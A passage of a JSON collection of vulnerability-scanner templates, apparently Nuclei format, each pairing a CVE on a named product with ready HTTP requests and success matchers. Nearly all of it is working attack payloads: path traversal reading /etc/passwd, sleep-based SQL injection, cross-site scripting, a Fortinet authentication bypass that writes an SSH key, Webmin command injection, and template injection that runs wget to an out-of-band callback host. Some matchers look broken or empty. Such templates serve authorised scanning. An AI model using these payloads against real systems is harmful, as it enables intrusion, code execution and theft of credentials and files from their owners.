Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_onlineexam&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2036","info":{"name":"Joomla! Component Percha Fields Attach 1.0 - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_perchafieldsattach&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1475","info":{"name":"Joomla! Component Preventive And Reservation 1.0.5 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_preventive&controller==../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2918","info":{"name":"Joomla! Component Visites 1.1 - MosConfig_absolute_path Remote File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2259","info":{"name":"Joomla! Component com_bfsurvey - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_bfsurvey&controller=../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-4719","info":{"name":"Joomla! Component JRadio - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jradio&controller=../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1602","info":{"name":"Joomla! Component ZiMB Comment 0.8.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_zimbcomment&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1302","info":{"name":"Joomla! Component DW Graph - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_dwgraphs&controller=../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-3203","info":{"name":"Joomla! Component PicSell 1.0 - Arbitrary File Retrieval","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_picsell&controller=prevsell&task=dwnfree&dflink=../../../configuration.php"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-4231","info":{"name":"Camtron CMNC-200 IP Camera - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/../../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-5028","info":{"name":"Joomla! Component JE Job 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jejob&view=../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1952","info":{"name":"Joomla! Component BeeHeard 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1219","info":{"name":"Joomla! Component com_janews - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1714","info":{"name":"Joomla! Component Arcade Games 1.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_arcadegames&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2001-0537","info":{"name":"Cisco IOS HTTP Configuration - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/level/16/exec/show/config/CR"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["service config","Switch","default-gateway"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-43166","info":{"name":"Rukovoditel <= 3.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=entities/&action=save&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&group_id=&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0¬es=\n"],"cookie-reuse":true,"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-0846","info":{"name":"SpeakOut Email Petitions < 2.14.15.1 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 20s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=dk_speakout_sendmail&id=12+AND+(SELECT+5023+FROM+(SELECT(SLEEP(6)))Fvrh)--+VoFu\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"Your signature has been added\") || contains(body, \"This petition has already been signed using your email address\")"],"condition":"and"}]}]},{"id":"CVE-2022-0785","info":{"name":"WordPress Daily Prayer Time <2022.03.01 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nGET /wp-admin/admin-ajax.php?action=get_monthly_timetable&month=1+AND+(SELECT+6881+FROM+(SELECT(SLEEP(6)))iEAn) HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"dptTimetable customStyles dptUserStyles\")"],"condition":"and"}]}]},{"id":"CVE-2022-3062","info":{"name":"Simple File List < 4.4.12 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/?page=ee-simple-file-list&tab=settings&subtab=\"style=animation-name:rotation+onanimationstart=alert(document.domain)// HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"ee-simple-file-list\")","contains(body_2, \"onanimationstart=alert(document.domain)//\")"],"condition":"and"}]}]},{"id":"CVE-2022-23348","info":{"name":"BigAnt Server 5.6.06 - Improper Access Control","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Runtime/Data/ms_admin.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"user_name\";","\"user_pwd\";","\"user_id\";"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-23779","info":{"name":"Zoho ManageEngine - Internal Hostname Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/themes"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["/themes/","text/html"],"condition":"and"},{"type":"word","part":"location","negative":true,"words":["{{Host}}"]},{"type":"word","words":["

301 Moved Permanently

"]},{"type":"regex","part":"location","regex":["https?:\\/\\/(.*):"]},{"type":"status","status":[301]}],"extractors":[{"type":"regex","group":1,"regex":["https?:\\/\\/(.*):"],"part":"location"}]}]},{"id":"CVE-2022-36537","info":{"name":"ZK Framework - Information Disclosure","severity":"high"},"requests":[{"raw":["GET /login.zul HTTP/1.1\nHost: {{Hostname}}\n","POST /zkau/upload?uuid=101010&dtid={{dtid}}&sid=0&maxsize=-1 HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nAccept: */*\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryCs6yB0zvpfSBbYEp\nContent-Length: 154\n\n------WebKitFormBoundaryCs6yB0zvpfSBbYEp\nContent-Disposition: form-data; name=\"nextURI\"\n\n/WEB-INF/web.xml\n------WebKitFormBoundaryCs6yB0zvpfSBbYEp--\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":[".*","((.|\n)*)welcome-file-list>","xml version","web-app"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"dtid","group":1,"regex":["dt:'(.*?)',cu:"],"internal":true}]}]},{"id":"CVE-2022-31814","info":{"name":"pfSense pfBlockerNG <=2.1..4_26 - OS Command Injection","severity":"critical"},"requests":[{"raw":["GET /pfblockerng/www/index.php HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n\n","GET /pfblockerng/www/index.php HTTP/1.1\nHost: ' *; host {{interactsh-url}}; '\nAccept: */*\n\n"],"unsafe":true,"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_1, \"GIF\")"]},{"type":"word","part":"interactsh_protocol","words":["dns"]}]}]},{"id":"CVE-2022-31499","info":{"name":"Nortek Linear eMerge E3-Series <0.32-08f - Remote Command Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nGET /card_scan.php?No=123&ReaderNo=`sleep%207`&CardFormatNo=123 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=7","contains(header, \"text/html\")","status_code == 200","contains(body, '{\\\"CardNo\\\":false')"],"condition":"and"}]}]},{"id":"CVE-2022-40684","info":{"name":"Fortinet - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /api/v2/cmdb/system/admin HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: Node.js\nForwarded: by=\"[127.0.0.1]:1337\";for=\"[127.0.0.1]:1337\";proto=http;host=\nX-Forwarded-Vdom: root\n","PUT /api/v2/cmdb/system/admin/admin HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: Report Runner\nContent-Type: application/json\nForwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;\nContent-Length: 610\n\n {\n \"ssh-public-key1\":\"{{randstr}}\"\n}\n"],"stop-at-first-match":true,"req-condition":true,"matchers-condition":"or","matchers":[{"type":"word","part":"body_1","words":["ENC XXXX","http_method"],"condition":"and"},{"type":"word","part":"body_2","words":["Invalid SSH public key.","cli_error"],"condition":"and"}]}]},{"id":"CVE-2022-44944","info":{"name":"Rukovoditel <= 3.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=help_pages/pages&action=save&entities_id=24&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&type=announcement&is_active=1&color=default&icon=&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&description=&start_date=&end_date=&sort_order=\n"],"cookie-reuse":true,"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-0591","info":{"name":"Formcraft3 <3.8.28 - Server-Side Request Forgery","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=formcraft3_get&URL=https://{{interactsh-url}}"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2022-1916","info":{"name":"WordPress Active Products Tables for WooCommerce <1.0.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=woot_get_smth&what={%22call_action%22:%22x%22,%22more_data%22:%22\\u003cscript%3Ealert(document.domain)\\u003c/script%3E%22}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"body","words":["woot-content-in-popup","woot-system","woot-table"],"condition":"or"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-43165","info":{"name":"Rukovoditel <= 3.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=global_vars/vars&action=save&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&is_folder=0&name=1&value=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E¬es=&sort_order=\n"],"cookie-reuse":true,"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-29078","info":{"name":"Node.js Embedded JavaScript 3.1.6 - Template Injection","severity":"critical"},"requests":[{"raw":["GET /page?id={{randstr}}&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27);s HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body","words":["You are viewing page number"]}]}]},{"id":"CVE-2022-36446","info":{"name":"Webmin <1.997 - Authenticated Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /session_login.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser={{username}}&pass={{password}}\n","POST /package-updates/update.cgi HTTP/1.1\nHost: {{Hostname}}\nReferer: {{BaseURL}}/package-updates/update.cgi?xnavigation=1\n\nmode=new&search=ssh&redir=&redirdesc=&u=0%3Becho+%27{{randstr}}%27%27{{randstr}}%27%3B+id%3B+echo+%27{{randstr}}%27%27{{randstr}}%27&confirm=Install%2BNow\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{randstr}}","uid","gid","groups"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-37191","info":{"name":"Cuppa CMS v1.0 - Authenticated Local File Inclusion","severity":"medium"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser={{username}}&password={{password}}&language=en&task=login\n","POST /components/table_manager/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\npath=component%2Ftable_manager%2Fview%2Fcu_api_keys\n","POST /api/index.php HTTP/1.1\nHost: {{Hostname}}\nkey: {{apikey}}\nContent-Type: application/x-www-form-urlencoded\n\nfunction=./../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd/\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header_3","words":["text/html"]},{"type":"regex","part":"body_3","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"apikey","group":1,"regex":["(.*?)"],"internal":true}]}]},{"id":"CVE-2022-4063","info":{"name":"WordPress InPost Gallery <2.1.4.1 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=inpost_gallery_get_gallery&popup_shortcode_key=inpost_fancy&popup_shortcode_attributes=eyJwYWdlcGF0aCI6ICJmaWxlOi8vL2V0Yy9wYXNzd2QifQ=="],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-30512","info":{"name":"School Dormitory Management System 1.0 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/dms/admin/accounts/payment_history.php?account_id=2%27"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Fatal error","Uncaught Error: Call to a member function fetch_assoc()","Month of"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-47003","info":{"name":"Mura CMS <10.0.580 - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","GET /index.cfm/_api/json/v1/{{siteid}}/content/?fields=lastupdatebyid HTTP/1.1\nHost: {{Hostname}}\n","GET /admin/?muraAction=cEditProfile.edit HTTP/1.1\nHost: {{Hostname}}\nCookie: userid={{uuid}}; userhash=\n"],"redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_3,\"\\\"userid\\\"\")"],"condition":"and"},{"type":"word","part":"body_3","words":["Edit Profile"]}],"extractors":[{"type":"regex","name":"siteid","group":1,"regex":["siteid:\"(.*?)\""],"internal":true,"part":"body"},{"type":"regex","name":"uuid","group":1,"regex":["\"lastupdatebyid\":\"([A-F0-9-]+)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-0693","info":{"name":"WordPress Master Elements <=8.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nGET /wp-admin/admin-ajax.php?meta_ids=1+AND+(SELECT+3066+FROM+(SELECT(SLEEP(6)))CEHy)&action=remove_post_meta_condition HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body, \"Post Meta Setting Deleted Successfully\")"],"condition":"and"}]}]},{"id":"CVE-2022-0349","info":{"name":"WordPress NotificationX <2.3.9 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nPOST /?rest_route=/notificationx/v1/analytics HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnx_id=sleep(6) -- x\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(body, \"\\\"data\\\":{\\\"success\\\":true}\")"],"condition":"and"}]}]},{"id":"CVE-2022-41473","info":{"name":"RPCMS 3.0.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/search/?q=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","rpcms"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-37153","info":{"name":"Artica Proxy 4.30.000000 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /fw.login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuserfont=&artica-language=&StandardDropDown=&HTMLTITLE=&username=admin&password=admin%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Password\" value=\"admin\">","Artica Web"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0784","info":{"name":"WordPress Title Experiments Free <9.0.1 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=wpex_titles&id[]=1 AND (SELECT 321 FROM (SELECT(SLEEP(6)))je)\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"{\\\"images\\\":\")"],"condition":"and"}]}]},{"id":"CVE-2022-1883","info":{"name":"Terraboard <2.2.0 - SQL Injection","severity":"high"},"requests":[{"raw":["@timeout: 10s\nGET /api/search/attribute?versionid=*&tf_version=%27+and+(select%20pg_sleep(10))+ISNULL-- HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["duration>=5"]},{"type":"word","part":"body","words":["\"page\":","\"results\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2290","info":{"name":"Trilium <0.52.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/custom/%3Cimg%20src=x%20onerror=alert(document.domain)%3E","{{BaseURL}}/share/api/notes/%3Cimg%20src=x%20onerror=alert(document.domain)%3E","{{BaseURL}}/share/api/images/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/filename"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["No handler matched for custom ","Note '' not found"],"condition":"or"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2022-31268","info":{"name":"Gitblit 1.9.3 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/resources//../WEB-INF/web.xml"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","java.sun.com","gitblit.properties"],"condition":"and"},{"type":"word","part":"header","words":["application/xml"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2863","info":{"name":"WordPress WPvivid Backup <0.9.76 - Local File Inclusion","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=WPvivid HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-admin/admin-ajax.php?_wpnonce={{nonce}}&action=wpvivid_download_export_backup&file_name=../../../../../../../etc/passwd&file_size=922 HTTP/1.1\nHost: {{Hostname}}\nReferer: {{BaseURL}}/wp-admin/admin.php?page=WPvivid\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["\"_ajax_nonce\":\"([0-9a-z]+)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-44949","info":{"name":"Rukovoditel <= 3.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=entities/fields&action=save&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryfKx13B5QBU5Sccgf\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"form_session_token\"\n\n{{nonce}}\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"entities_id\"\n\n24\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"forms_tabs_id\"\n\n29\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"name\"\n\ntest\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"short_name\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"type\"\n\nfieldtype_input\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"fields_configuration[width]\"\n\ninput-small\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"fields_configuration[default_value]\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"fields_configuration[is_unique]\"\n\n0\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"fields_configuration[unique_error_msg]\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"required_message\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"tooltip\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"tooltip_item_page\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"access_template\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"access[5]\"\n\nyes\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"access[4]\"\n\nyes\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"notes\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf--\n"],"cookie-reuse":true,"redirects":true,"max-redirects":3,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-2462","info":{"name":"WordPress Transposh <=1.0.8.1 - Information Disclosure","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/wp-admin/admin-ajax.php"],"body":"action=tp_history&token=&lang=en","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["len(transposh) > 0"]},{"type":"word","part":"body","words":["translated","translated_by","timestamp","source","user_login"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-35416","info":{"name":"H3C SSL VPN <=2022-07-10 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wnm/login/login.json HTTP/1.1\nHost: {{Hostname}}\nCookie: svpnlang=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31976","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /classes/Master.php?f=delete_request HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nid='+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"status\\\":\\\"success\\\"}\")"],"condition":"and"}]}]},{"id":"CVE-2022-47945","info":{"name":"Thinkphp Lang - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/?lang=../../thinkphp/base","{{BaseURL}}/?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Call Stack","class=\"trace"],"condition":"and"},{"type":"status","status":[500]}]}]},{"id":"CVE-2022-32094","info":{"name":"Hospital Management System 1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /hms/doctor/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=admin%27+or+%271%27%3D%271%27%23&password=admin%27+or+%271%27%3D%271%27%23&submit=\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Doctor | Dashboard","View Appointment History"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-4306","info":{"name":"WordPress Panda Pods Repeater Field <1.5.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET 